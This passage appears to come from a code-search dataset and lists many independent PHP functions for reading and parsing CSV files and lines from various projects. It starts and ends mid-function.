CsvLine($data[$this->colsOrder[\"CATEGORIES\"]],\n\t\t\t$data[$this->colsOrder[\"SUMMARY\"]],\n\t\t\t$data[$this->colsOrder[\"DTSTART\"]],\n\t\t\t$data[$this->colsOrder[\"DTEND\"]]);\n\t\tforeach ($this->colsOrder as $col => $order)\n\t\t{\n\t\t\tswitch ($col)\n\t\t\t{\n\t\t\t\tcase \"TIMEZONE\":\n\t\t\t\t\t$dataLine->setTimezone($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"LOCATION\":\n\t\t\t\t\t$dataLine->setLocation($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"DTSTAMP\":\n\t\t\t\t\t$dataLine->setDtstamp($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"X-EXTRAINFO\":\n\t\t\t\t\t$dataLine->setExtraInfo($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"X-COLOR\":\n\t\t\t\t\t$dataLine->setColor($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CONTACT\":\n\t\t\t\t\t$dataLine->setContact($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"DESCRIPTION\":\n\t\t\t\t\t$dataLine->setDescription($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"RRULE\":\n\t\t\t\t\t$dataLine->setRrule($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"UID\":\n\t\t\t\t\t$dataLine->setUid($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"CATEGORIES\":\n\t\t\t\tcase \"SUMMARY\":\n\t\t\t\tcase \"DTSTART\":\n\t\t\t\tcase \"DTEND\":\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"NOENDTIME\":\n\t\t\t\t\t$dataLine->setNoendtime($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"PUBLISHED\":\n\t\t\t\t\t$dataLine->setPublished($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"MULTIDAY\":\n\t\t\t\t\t$dataLine->setMultiday($data[$order]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"lockevent\":\n\t\t\t\t\t$dataLine->lockevent = $data[$order];\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$dataLine->customField($data[$order], $col);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn $dataLine;\n\n\t}", "function readCSV($csvFile, $array){\n $file_handle = fopen($csvFile, 'r');\n while (!feof($file_handle)) {\n $line_of_text[] = fgetcsv($file_handle, 0, $array['delimiter']);\n }\n array_shift($line_of_text);\n array_pop($line_of_text);\n fclose($file_handle);\n return $line_of_text;\n}", "private function _getRow($ignoreMismatch = false)\n {\n $line = fgetcsv($this->_file, $this->_length, $this->_delimiter,\n $this->_enclosure, $this->_escape\n );\n\n // EOF\n if (false === $line && feof($this->_file))\n {\n return false;\n }\n\n // Empty line\n if (is_array($line) && empty($line))\n {\n return false;\n }\n\n $expectedHeaders = $this->_hasHeaders\n ? count($this->_headers)\n : $this->_headers;\n\n // Other error\n if (!$line)\n {\n throw new PHPMapper_Exception_Import(\n 'fgetcsv() failed when attempting to read line from file.'\n );\n }\n else if (!$ignoreMismatch && count($line) != $expectedHeaders)\n {\n throw new PHPMapper_Exception_Import(\n 'Line #' . $this->_lineNumber . ' has ' . count($line) . ' columns. Expecting '\n . $expectedHeaders . '.'\n );\n }\n else\n {\n $this->_lineNumber++;\n return $line;\n }\n }", "public function getLine($line);", "private function readHeaderRow() {\n\n // Grab the line as items\n $csvLine = $this->stream->readCSVLine($this->separator, $this->enclosure);\n\n // Create fields from these\n $columns = [];\n foreach ($csvLine as $column) {\n // Expand out the title and the name\n $name = StringUtils::convertToCamelCase(trim($column));\n $columns[] = new Field($name);\n }\n\n $this->csvColumns = $columns;\n }", "public function readByLine() {\r\n\t\tif ($this->exists) {\r\n\t\t\t\r\n\t\t\t$lines = file ( $this->filename ); // file in to an array\r\n\t\t\treturn $lines; // line 2\r\n\t\t\r\n\t\t} else {\r\n\t\t\t\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function getRecord()\n\t{\t\t\t\t\n\t\tif(isset($this->_handle))\n\t\t\treturn fgetcsv($this->_handle,null,$this->_columnDelimiter);\n\t\telse \n\t\t\treturn false;\n\t}", "public function get_row(int $row = null) {\n\t\tif (!$this->is_open()) return false;\n\t\tif ($row==null) {\n\t\t\t$row = fgetcsv($this->FILE, 0, $this->delimeter, $this->enclosure, $this->escape);\n\t\t\tif ($row==false) {$this->STATE=CSVReader::STATE_EOF; return false;}\n\t\t\tif ($row==null) {$row=$this->DEFAULTS;} else {$row=$this->clear_empty_values($row);}\n\t\t\tif (count($this->HEADERS) != count($row)) throw new Exception('Row count and header count do not match. Header:'.count($this->HEADERS).' Row:'.count($row).var_export($this->HEADERS, true).var_export($row, true), 0);\n\t\t\tif ($this->cache_rows)\n\t\t\t\t$this->DATA[$this->ROW_COUNT] = $row;\n\t\t\t$this->ROW_COUNT++;\n\t\t\treturn array_combine($this->HEADERS, $row);\n\t\t} else {\n\t\t\tif (!$this->cache_rows) return false;\n\t\t\tif ($row < $this->ROW_COUNT && $row>0)\n\t\t\t\treturn array_combine($this->HEADERS, $this->DATA[$row-1]);\n\t\t\twhile ($this->ROW_COUNT < $row) {\n\t\t\t\tif (!get_row()) return false;\n\t\t\t}\n\t\t\treturn array_combine($this->HEADERS, $this->DATA[$row-1]);\n\t\t}\n\t}", "function readCSV($url) {\n $row = 0;\n $readData = [];\n print_r(\"Opening CSV File ... \");\n if (($handle = fopen($url, \"r\")) !== FALSE) {\n print_r(\"SUCCESS\\n\");\n while (($data = fgetcsv($handle, 1000, \",\")) !== FALSE) {\n if($row!=0) { // skip first row\n $readData[$row] = $data;\n }\n $row++;\n }\n fclose($handle);\n return $readData;\n } else {\n print_r(\"FAIL\\n\");\n return null;\n }\n}", "public function getCSV() {\n $handle = fopen($this->_csv_file, \"r\");\n $array_line_full = array();\n\n while (($line = fgetcsv($handle, 0, \",\")) !== FALSE) {\n $array_line_full[] = $line;\n }\n fclose($handle);\n return $array_line_full;\n }", "public function readLine()\n {\n if ($line = trim(fgets($this->fileHandle)))\n {\n return $line;\n }\n\n return false;\n }", "public function readAtLine($index) {\r\n\t\tif ($this->exists && $index < $this->lines) {\r\n\t\t\t\r\n\t\t\t$lines = $this->readByLine ();\r\n\t\t\treturn trim ( $lines [$index] );\r\n\t\t\r\n\t\t} else {\r\n\t\t\t\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "function readUploadedCSV($tmp_name) {\n\t $lines = array();\n\n\t ini_set('auto_detect_line_endings',1);\n\t $handle = fopen($tmp_name, \"r\");\n\t while (($data = fgetcsv($handle, 1000, \",\")) !== FALSE) {\n\t\t array_push($lines,$data);\t\t\t \n\t }\n\t return $lines;\n }", "private function _loadCSVLines(string $csv): array {\n\t\t$rs = $this->_createTmpFile($csv);\n\t\tif (!$rs) {\n\t\t\tthrow new CSVReaderException(\n\t\t\t\t'Error while creating temporary file for processing',\n\t\t\t\tCSVReaderException::FAILED_TO_CREATE_TMP_FILE\n\t\t\t);\n\t\t}\n\t\t$lines = [];\n\t\twhile ($line = fgetcsv($rs, null, $this->_columnDelimiter, $this->_enclosure, $this->_escape)) {\n\t\t\t$lines[] = $line;\n\t\t}\n\t\treturn $lines;\n\t}", "function getLine()\n {\n if($this->parseFile)\n {\n if(!feof($this->fid))\n {\n do\n {\n $line = trim(fgets($this->fid));\n }\n while(!feof($this->fid) && !$line);\n return $line;\n }\n return FALSE;\n }\n else\n {\n do\n {\n $line = trim($this->bibtexString[$this->currentLine]);\n $this->currentLine++;\n }\n while($this->currentLine < count($this->bibtexString) && !$line);\n return $line;\n }\n }", "function loadCSV($filename) {\n // Assume we are following the format of:\n // +15554442222,[email protected]\n $csvArray = array(); \n if (($handle = fopen($filename, \"r\")) !== FALSE) {\n while (($row = fgetcsv($handle, 1000, \",\")) !== FALSE) {\n $csvArray[\"$row[0]\"] = \"$row[1]\";\n }\n if (!feof($handle)) {\n error_log(\"Error: unexpected fgets() fail\\n\");\n }\n }\n fclose($handle);\n\n return $csvArray;\n}", "public function readFromRow( $row );", "public function import_read_record()\n\t{\n // phpcs:enable\n\t\tglobal $conf;\n\n\t\t$arrayres=fgetcsv($this->handle, 100000, $this->separator, $this->enclosure, $this->escape);\n\n\t\t// End of file\n\t\tif ($arrayres === false) return false;\n\n\t\t//var_dump($this->handle);\n\t\t//var_dump($arrayres);exit;\n\t\t$newarrayres=array();\n\t\tif ($arrayres && is_array($arrayres))\n\t\t{\n\t\t\tforeach($arrayres as $key => $val)\n\t\t\t{\n\t\t\t\tif (! empty($conf->global->IMPORT_CSV_FORCE_CHARSET))\t// Forced charset\n\t\t\t\t{\n\t\t\t\t\tif (strtolower($conf->global->IMPORT_CSV_FORCE_CHARSET) == 'utf8')\n\t\t\t\t\t{\n\t\t\t\t\t\t$newarrayres[$key]['val']=$val;\n\t\t\t\t\t\t$newarrayres[$key]['type']=(dol_strlen($val)?1:-1);\t// If empty we considere it's null\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$newarrayres[$key]['val']=utf8_encode($val);\n\t\t\t\t\t\t$newarrayres[$key]['type']=(dol_strlen($val)?1:-1);\t// If empty we considere it's null\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\t// Autodetect format (UTF8 or ISO)\n\t\t\t\t{\n\t\t\t\t\tif (utf8_check($val))\n\t\t\t\t\t{\n\t\t\t\t\t\t$newarrayres[$key]['val']=$val;\n\t\t\t\t\t\t$newarrayres[$key]['type']=(dol_strlen($val)?1:-1);\t// If empty we considere it's null\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$newarrayres[$key]['val']=utf8_encode($val);\n\t\t\t\t\t\t$newarrayres[$key]['type']=(dol_strlen($val)?1:-1);\t// If empty we considere it's null\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->col=count($newarrayres);\n\t\t}\n\n\t\treturn $newarrayres;\n\t}", "private function open_csv() {\n $this->fh = fopen(CSV_FILE, \"r\");\n if ($this->fh === false) {\n $this->log_it(\"Could not open CSV file.\");\n return false;\n }\n\n return true;\n }", "public function importcsv()\n\t{\n\t\tif( $this->import_start() )\n\t\t{\n\t\t\t// Reads the content which has been uploaded to the tmp file into a text var\n\t\t\t$content = file_get_contents($this->file['tmp_name']);\n\t\t\tunlink($this->file['tmp_name']);\t\t\t\t//delete tmp file\n\n\t\t\t$rows\t\t= $this->cvs2array($content, ';');\n\t\t\t$model\t\t= $this->getModel('HelloImport');\t\t//for db read/write\n\t\t\t$this->ok\t= $model->importItems($rows);\n\t\t}\n\t\t$this->import_finish();\n\t}", "public function readCsv($source) {\n $file = fopen($source, 'r');\n while (($line = fgetcsv($file)) !== FALSE) {\n //$line is an array of the csv elements\n $array_from_csv[] = $line;\n }\n fclose($file);\n\n return $array_from_csv;\n }", "function read() {\r\n\t\t$line = '';\r\n\t\tdo \r\n\t\t{\r\n\t\t\t$c = fgetc( $this->fp );\r\n\t\t\tif( ($c != '') and ($c != \"\\n\") and !feof( $this->fp ) ) $line .= $c;\r\n\t\t} while( ($c != '') and ($c != \"\\n\") and !feof( $this->fp ) );\r\n\t\treturn $line;\r\n\t}", "public static function getFirstRow($fn){\n $file = new SplFileObject($fn);\n $row = $file->fgetcsv();\n return $row;\n }", "public function get_line()\n {\n return $this->line;\n }", "function readLine();", "function loadLine($a_row)\n\t{\n\t}", "private function get_csv_data() {\n if (!is_resource($this->fh) || get_resource_type($this->fh) !== \"stream\") {\n $this->log_it(\"CSV file not open when get_csv_data() called.\");\n return false;\n }\n\n // Consume/discard header row, if it exists.\n if (HEADER_ROW_EXISTS) {\n fgets($this->fh);\n $row_num = 2;\n } else {\n $row_num = 1;\n }\n\n $graded_reg_codes = STUDENT_REGISTERED_CODES;\n $audit_reg_codes = is_null(STUDENT_AUDIT_CODES) ? array() : STUDENT_AUDIT_CODES;\n $latedrop_reg_codes = is_null(STUDENT_LATEDROP_CODES) ? array() : STUDENT_LATEDROP_CODES;\n $all_valid_reg_codes = array_merge($graded_reg_codes, $audit_reg_codes, $latedrop_reg_codes);\n $unexpected_term_codes = array();\n\n // Read and assign csv rows into $this->data array\n $row = fgetcsv($this->fh, 0, CSV_DELIM_CHAR);\n while(!feof($this->fh)) {\n // Course is comprised of an alphabetic prefix and a numeric suffix.\n $course = strtolower($row[COLUMN_COURSE_PREFIX] . $row[COLUMN_COURSE_NUMBER]);\n\n // Trim whitespace from all fields in $row.\n array_walk($row, function(&$val, $key) { $val = trim($val); });\n\n // Remove any leading zeroes from \"integer\" registration sections.\n if (ctype_digit($row[COLUMN_SECTION])) $row[COLUMN_SECTION] = ltrim($row[COLUMN_SECTION], \"0\");\n\n switch(true) {\n // Check that $row has an appropriate student registration.\n case array_search($row[COLUMN_REGISTRATION], $all_valid_reg_codes) === false:\n // Skip row.\n break;\n\n // Check that $row is associated with the current term (if check is enabled)\n // Assume this check is OK, when EXPECTED_TERM_CODE is null (check disabled)\n case is_null(EXPECTED_TERM_CODE) ? false : $row[COLUMN_TERM_CODE] !== EXPECTED_TERM_CODE:\n // Note the unexpected term code for logging, if not already noted.\n if (array_search($row[COLUMN_TERM_CODE], $unexpected_term_codes) === false) {\n $unexpected_term_codes[] = $row[COLUMN_TERM_CODE];\n }\n break;\n\n // Check that $row is associated with the course list.\n case array_search($course, $this->course_list) !== false:\n if (validate::validate_row($row, $row_num)) {\n // Include $row\n $this->data[$course][] = $row;\n\n // $row with a blank email is included, but it is also logged.\n if ($row[COLUMN_EMAIL] === \"\") {\n $this->log_it(\"Blank email found for user {$row[COLUMN_USER_ID]}, row {$row_num}.\");\n }\n } else {\n // There is a problem with $row, so log the problem and skip.\n $this->invalid_courses[$course] = true;\n $this->log_it(validate::$error);\n }\n break;\n\n // Check that the $row is associated with a mapped course.\n case array_key_exists($course, $this->mapped_courses):\n // Also verify that the section is mapped.\n $section = $row[COLUMN_SECTION];\n if (array_key_exists($section, $this->mapped_courses[$course])) {\n $m_course = $this->mapped_courses[$course][$section]['mapped_course'];\n if (validate::validate_row($row, $row_num)) {\n // Include $row.\n $row[COLUMN_SECTION] = $this->mapped_courses[$course][$section]['mapped_section'];\n $this->data[$m_course][] = $row;\n\n // $row with a blank email is allowed, but it is also logged.\n if ($row[COLUMN_EMAIL] === \"\") {\n $this->log_it(\"Blank email found for user {$row[COLUMN_USER_ID]}, row {$row_num}.\");\n }\n } else {\n // There is a problem with $row, so log the problem and skip.\n $this->invalid_courses[$m_course] = true;\n $this->log_it(validate::$error);\n }\n }\n break;\n\n default:\n // Skip row by default.\n break;\n\n } // END switch (true)\n\n $row = fgetcsv($this->fh, 0, CSV_DELIM_CHAR);\n $row_num++;\n }\n\n // Log any unexpected term codes.\n // This may provide a notice that the next term's data is available.\n if (!empty($unexpected_term_codes)) {\n $msg = \"Unexpected term codes in CSV: \";\n $msg .= implode(\", \", $unexpected_term_codes);\n $this->log_it($msg);\n }\n\n /* ---------------------------------------------------------------------\n There may be \"fake\" or \"practice\" courses in Submitty that shouldn't be\n altered by the autofeed. These courses will have no enrollments in the\n csv file as these courses are not recognized by the registrar.\n --------------------------------------------------------------------- */\n\n // Filter out any \"empty\" courses so they are not processed.\n // There shouldn't be any \"empty\" course data, but this is just in case.\n $this->data = array_filter($this->data, function($course) { return !empty($course); }, 0);\n\n // Most runtime involves the database, so we'll release the CSV now.\n $this->close_csv();\n\n // Done.\n return true;\n }", "public function get()\n {\n $is_first = true;\n $keys = [];\n $data = [];\n $count = 0;\n\n $file = new SplFileObject($this->csv_file_path);\n\n while(!$file->eof())\n {\n /**\n * $file->fgets()\n * 呼び出す度に次の行に移動してしまうので注意する\n */\n $input = $file->fgets();\n\n /**\n * 空行は除外する\n */\n if(empty($input)) continue;\n\n $line = str_getcsv($input);\n\n if($is_first)\n {\n $keys = $line;\n $count = count($keys);\n $is_first = false;\n continue;\n }\n\n /**\n * ヘッダー行と異なる要素数のデータは除外する\n */\n if($count != count($line)) continue;\n\n foreach ($keys as $index => $key) {\n $tmp[$key] = $line[$index];\n }\n $data[] = $tmp;\n }\n return $data;\n }", "public function getLine(int $line){\n return $this->file[$line] ?? \"\";\n }", "protected function parseCsv() {\r\n\t\t\r\n\t\t$csv_data = array();\r\n\t\twhile ($this->_currentRow = fgetcsv($this->_fileHandler, null, $this->_delimiter, $this->_enclosure)) {\r\n\t\t\t$csv_data[] = $this->_currentRow;\r\n\t\t}\r\n\t\t\r\n\t\t$this->_data = $csv_data;\r\n\t}", "public function readNextLine() {\n\t\tif ($this->data->rows >= $this->linepointer) {\n\t\t\t$newdata = array();\n\t\t\t$newdata = $this->data->_data[$this->linepointer];\n\t\t\t$this->linepointer++;\n\t\t\treturn $newdata;\n\t\t}\n\t\telse return false;\n\t}", "public function row($idx) {\n\n if (!is_int($idx)) {\n throw new InvalidArgumentException(\"Row index must be an integer\");\n }\n\n $this->lastRow = $this->file()->key();\n\n $this->file()->seek($idx);\n\n $rval = new CSVRow(\n $this->getMapper(),\n $idx,\n $this->file->current()\n );\n\n $this->file()->seek($this->lastRow);\n\n return $rval;\n }", "protected function _getNextRow()\n {\n $currentRow = array();\n $handle = $this->_getFileHandle();\n while (($row = fgets($handle)) !== FALSE) {\n $this->_currentRowNumber++;\n return $row;\n }\n }", "protected function getCurrentRecord()\n {\n do {\n $ret = fgetcsv($this->stream, 0, $this->delimiter, $this->enclosure, $this->escape);\n } while ($this->flags & SplFileObject::SKIP_EMPTY && $ret !== false && $ret[0] === null);\n return $ret;\n }", "private function getNextLine()\n {\n return fgets($this->fileDescriptor, 4096);\n }", "private function csvTaskLoad($csv){\n $multiCsvArr = [];\n if(($handle = fopen(\"{$csv}\", \"r\")) !== false){\n while(($dataRow = fgetcsv($handle, 1000, \",\")) !== false){\n $multiCsvArr[] = $dataRow;\n }\n }\n fclose($handle);\n return $multiCsvArr;\n }", "public function next(): void\n {\n $this->values = [];\n $row = fgetcsv($this->fp, 0, $this->delimiter, $this->enclosure);\n\n if ($row) { // Is het einde (eof) nog niet bereikt?\n if ($row === array(null)) { // Empty row?\n $this->next(); // Skip row\n return;\n }\n ++$this->index;\n foreach ($this->keys as $index => $key) {\n if (isset($row[$index])) { // Is er voor deze kolom een waarde?\n $this->values[$key] = $row[$index];\n } else {\n $filename = (strpos($this->filename, \\Sledgehammer\\PATH) === 0) ? substr($this->filename, strlen(\\Sledgehammer\\PATH)) : $this->filename; // Waar mogelijk het PATH er van af halen\n \\Sledgehammer\\notice('Row too short, missing column #' . ($index + 1) . ': \"' . $this->keys[$index] . '\" in ' . $filename . ' on line ' . ($this->index + 2), $row); // @todo Calculate line offset compared to the index ()\n }\n }\n } else {\n $this->index = null;\n }\n }", "public function readLine(){\n\t\t\n\t\t$line = '';\n\t\tif( ($offset = strpos($this->data, \"\\r\\n\", 0)) !== false){\n\t\t $line = substr($this->data,0,$offset);\n\t\t $this->data = substr($this->data,$offset+2);\n\t\t $this->_debug(\"line:$line\");\n\t\t $this->_debug(\"left>\\n{$this->data}\");\n\t\t ob_flush();\n\t\t}\n\t\t\n\t\treturn $line;\n\t}", "public function get_line( $file, $line ) {\n\t\tif ( empty( $this->spl ) ) {\n\t\t\t$this->spl = new \\SplFileObject( $file );\n\t\t}\n\n\t\tif ( ! $this->spl->eof() ) {\n\t\t\t$this->spl->seek( $line );\n\t\t\t$contents = $this->spl->current();\n\t\t}\n\n\t\treturn $contents;\n\t}", "protected function readFromFile(CsvFile $csvFile): int\n {\n $delimeter = $this->detectDelimiter($csvFile->getFilePath());\n if (($handle = fopen($csvFile->getFilePath(), \"r\")) !== FALSE) {\n foreach($this->readFromFileHandle($csvFile->getId(), $handle, $delimeter) as $batch_data) {\n $this->dm->flush();\n }\n }\n\n return -1;\n }", "function getNextRow()\r\n\t{\r\n\t\t$this->node_priority = false;\r\n\t\t\r\n\t\t// set mapping array\r\n\t\t$this->first_field = true;\r\n\t\treset( $this->mapping );\r\n\r\n\t\tif( $this->ignore_first_row )\r\n\t\t{\r\n\t\t\t$this->ignore_first_row = false;\r\n\t\t\tfgetcsv( $this->m_aData , 100000, $this->delimiter, $this->enclosure ); // nirvana\r\n\t\t}\r\n\r\n\t\t$this->row = fgetcsv( $this->m_aData , 100000, $this->delimiter, $this->enclosure);\r\n\r\n\t\treturn $this->row;\r\n\t}", "function readCsv($fileName) {\n\n\t// Lecture du fichier src :\n\t$myfile = fopen($fileName, \"r\") or die(\"Unable to open file!\");\n\t$dataStr = fread($myfile,filesize($fileName));\n\tfclose($myfile);\n\n\t$lines = explode(\"\\n\", $dataStr);\n\t$days = array();\n\n\tforeach ($lines as $line) {\n\t\t$temp = explode(\";\", $line);\n\t\tif (count($temp) == 2) {\n\t\t\tarray_push($days, new Day($temp[0], $temp[1]));\n\t\t}\n\t}\n\treturn $days;\n}", "public function getLine(bool $reindexWithHeader): ?array\n {\n $data = fgetcsv($this->handle, 0, $this->delimiter, $this->enclosure, $this->escapeChar);\n if ($data === false) {\n return null;\n }\n\n ++$this->line;\n\n if ($reindexWithHeader) {\n $data = array_combine($this->header, $data);\n }\n\n return $data;\n }", "private function readLine() {\n\t\t$line = \"\";\n\n\t\twhile (!feof($this->stream)) {\n\t\t\t$line .= fgets($this->stream, $this->bufferSize);\n\t\t\t$this->checkReadTimeout();\n\n\t\t\tif (substr($line, -1) == \"\\n\") {\n\t\t\t\treturn rtrim($line, \"\\r\\n\");\n\t\t\t}\n\t\t}\n\n\t\treturn $line;\n\t}", "function read_csv($filename, $delimiter = \",\") {\n $file_data = array();\n $handle = @fopen($filename, \"r\") or false;\n if ($handle !== FALSE) {\n while (($data = fgetcsv($handle, 1000, $delimiter)) !== FALSE) {\n $file_data[] = $data;\n }\n fclose($handle);\n }\n return $file_data;\n}", "function validateCSVLine($line, $line_number) {\n\t $errors = array();\n\n\t if(!is_array($line)) {\n\t\t array_push($errors,'Invalid line');\t\t\t \n\t }\n\n\t if($line[0] == null || $line[0] == '') {\n\t\t array_push($errors, \"Error in line $line_number: blank email\");\n\t } \n\t return $errors;\n }", "static public function buffer__csv__pop_line_to_array( &$csv, $map = array() ){\n\t\t$line = trim( static::buffer__csv__pop_line( $csv ) );\n\t\t$line = strpos( $line, '\\'' ) === 0\n\t\t\t? str_getcsv($line, ',', '\\'')\n\t\t\t: explode( ',', $line );\n\t\tif( $map )\n\t\t\t$line = array_combine( $map, $line );\n\t\treturn $line;\n\t}", "public static function handleCSVLine(array $csvLine)\n\t{\n\t\tlist($ipStart, $ipCidr, $countryCode, $countryName) = $csvLine;\n\t\t$row = array(\n\t\t\t'ip_start'\t\t\t=> $ipStart,\n\t\t\t'ip_cidr'\t\t\t=> $ipCidr,\n\t\t\t'country_code'\t\t=> $countryCode,\n\t\t\t'country_name'\t\t=> $countryName\n\t\t);\n\t\t\n\t\t$entry = self::updateIPInfo(self::definition(), $row);\n\t}", "function readCsv($filename) {\n // your code here\n $handle = fopen($filename, \"r\");\n $result = [];\n\n while(!feof($handle)){\n $result[] = fgetcsv($handle);\n }\n fclose($handle);\n return $result;\n }", "public function getLine($lineNumber);", "public function getLine($lineId);", "public function loadCsvFile($file)\n {\n $data = [];\n\n if (file_exists($file)) {\n $data = array_map('str_getcsv', file($file));\n\n array_walk($data, function(&$row) use ($data) {\n $row = array_combine($data[0], $row);\n });\n\n array_shift($data);\n }\n else {\n wp_die(__('Import file does not exist.'));\n }\n\n $this->data = $data;\n }", "public function getItem() \n\t{\t\t\t\n\t\t$fields = fgetcsv($this->_handle, 0, $this->_csvOptions['delimiter'], $this->_csvOptions['enclosure']);\n\t\tif ($fields === false ) {\t\t\t\n\t\t\treturn false;\n\t\t}\n\t\tif ($fields[0] === null) {\n\t\t\treturn array();\n\t\t}\n\t\treturn array_diff($fields, array(''));\n\t}", "public function parseLine($line, $isHeaders = false)\n {\n $line = trim($line);\n\n if (empty($line)) {\n return null;\n }\n\n $csv = str_getcsv($line, $this->delimiter, $this->enclosure);\n\n if (!$isHeaders && $this->hasHeaders && !empty($this->headers)) {\n foreach ($this->headers as $key => $header) {\n $csv[$header] = isset($csv[$key]) ? $csv[$key] : null;\n }\n }\n\n return $csv;\n }", "public function process(){\n if(!$this->_init){\n $this->_init();\n }\n $line = fgetcsv($this->_handle, 4096);\n if(!$line){\n fclose($this->_handle);\n return false;\n }\n $i = 0;\n $row = array();\n foreach($this->_layout as $key){\n if(isset($line[$i])){\n $row[$key] = $line[$i];\n } else {\n $row[$key] = NULL;\n }\n $i++;\n }\n $this->_row = $row;\n return true;\n }", "public function parse()\n {\n if ($handle = fopen($this->csv, 'r'))\n {\n while ($data = fgetcsv($handle, \",\"))\n {\n $this->dataArray[] = $data;\n }\n }\n fclose($handle);\n }", "function read_csv()\n {\n if(filesize ($this->filename) > 0) {\n $handle = fopen($this->filename, \"r\");\n while(($data = fgetcsv($handle)) !==FALSE) {\n $contents[] = $data;\n }\n fclose($handle);\n\n return $contents;\n }\n else\n {\n return array();\n }\n }", "function getLine(){\n return $this->line;\n }", "private function explodeBySeparator($line) {\n if ($this -> separator) {\n return str_getcsv($this -> fileContents[$line], $this -> separator);\n } else {\n return $this -> fileContents[$line];\n }\n }", "private function read_csv()\n {\n return array_map('str_getcsv', file($this->filename));\n ////OR\n // $handle = fopen('$this->filename', 'r');\n // $contacts = [];\n // while(!feof($handle)) {\n // $contacts[] = fgetcsv($handle);\n // }\n // fclose($handle); \n }", "private function read_csv()\n {\n $address_book = [];\n $handle = fopen($this->filename, 'r');\n while(!feof($handle)){\n $row = fgetcsv($handle);\n if(is_array($row)){\n $address_book[] = $row;\n }\n }\n fclose($handle);\n return $address_book;\n }", "function readLine($position)\n {\n\n return isset($this->line[$position]) ? $this->line[$position] : '_';\n }", "public function readLayoutFromFirstRow(){\n $this->_init();\n $this->_layout = array(); //reset for multiple\n $line = fgetcsv($this->_handle, 4096, ',');\n if(!$line){\n fclose($this->_handle);\n throw new Exception('Invalid File, could not read layout from first row');\n }\n \n foreach($line as $key){\n $this->_layout[] = strtolower($key);\n }\n }", "public function readCsvCBS() {\n // Check if the source file is available\n if( ! self::isFileAvailable( self::CBS_INHABITANTS_SOURCE_CSV_FILE ) ) {\n return false;\n }\n $header = NULL;\n $data = array();\n if (($handle = fopen( self::CBS_INHABITANTS_SOURCE_CSV_FILE, 'r')) !== FALSE) {\n while (($row = fgetcsv($handle, 1000, SELF::CBS_INHABITANTS_SOURCE_CSV_FILE_DELIMITER )) !== FALSE) {\n if( ! $header ) { // first line is the header\n $fieldsCount = count( $row );\n $header = array( self::HEADER_CITY_CODE, self::HEADER_CITY_NAME, self::HEADER_INHABITANTS );\n } else { // add a line of csv-data to our data array\n if( count( $row ) == $fieldsCount ) {\n $data[] = array_combine($header, array( $row[0], $row[1], $row[2] ) );\n }\n }\n }\n fclose($handle);\n }\n return $data;\n }", "function loadLine($a_row)\n\t{\n\t\t$this->lineID=$a_row['LineID'];\n\t\t$this->sheetID=$a_row['SheetID'];\n\t\t$this->text=$a_row['Text'];\n\t}", "public function readRecord(): ?array\n {\n $this->skipLeadingLines();\n $this->headerRead();\n $this->currentRecord = $this->current();\n\n if (false === $this->currentRecord) {\n throw CsvException::readError(error_get_last()['message'] ?? null);\n }\n if ($this->valid()) {\n if ($this->getStrategy()->doSkipEmptyLines()) {\n while (null !== $this->currentRecord && [] === array_filter($this->currentRecord)) {\n $this->readRecord();\n }\n }\n if ($this->getStrategy()->hasHeader() && $this->getStrategy()->asAssociative()) {\n $this->currentRecord = array_combine($this->getHeader(), $this->currentRecord);\n }\n $this->next();\n return $this->convertRowToUtf8($this->currentRecord);\n }\n\n return null;\n }", "function clients_importGetSegementOfFile($file,$startline,$endline,$mapping=null) {\n\t## then we open the the new file and start reading it\n\n\t$handle = fopen($file,\"r\"); \n\n\t$fields = array();\n\t$data = array();\n\t$linecount = 0;\n\t## let's position the filepointer- and while we are at it read the fields form the first line\n\twhile($linecount <= $startline && ($current_data = fgetcsv($handle, 24000, \",\")) != false) {\t\n\t\tif($linecount == 0) {\n \t\t$fields = $current_data;\n \t} \n\t\t$linecount++;\n }\n \n ## assing the mapping\n \tif(!isset($mapping)) {\n \t\t$mapping = $fields;\n \t}\n \n \n ## okay now we can start to read form start to end\n\t$item = 0;\n\n\twhile(($current_data = fgetcsv($handle, 24000, \",\",'\"')) != false && $linecount <= $endline) {\t\n\t\t$num = count($current_data);\n\t\tfor ($c=0; $c < $num; $c++) {\n\t\t\tif(!empty($mapping[$c])) {\n\t\t\t\t$data[$item][$mapping[$c]] = addslashes($current_data[$c]);\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t$linecount++;\n\t\t$item++;\n }\n\t\n\tfclose($handle);\n\treturn array('data'=>$data);\n}", "public function read($row, $column, $format = null) {\n\t}", "public function import($csv)\n {\n // convert to UTF-8\n $head = substr($csv, 0, 4096);\n $charset = rcube_charset::detect($head, RCUBE_CHARSET);\n $csv = rcube_charset::convert($csv, $charset);\n $csv = preg_replace(array('/^[\\xFE\\xFF]{2}/', '/^\\xEF\\xBB\\xBF/', '/^\\x00+/'), '', $csv); // also remove BOM\n $head = '';\n $prev_line = false;\n\n $this->map = array();\n $this->gmail_map = array();\n\n // Parse file\n foreach (preg_split(\"/[\\r\\n]+/\", $csv) as $line) {\n if (!empty($prev_line)) {\n $line = '\"' . $line;\n }\n\n $elements = $this->parse_line($line);\n\n if (empty($elements)) {\n continue;\n }\n\n // Parse 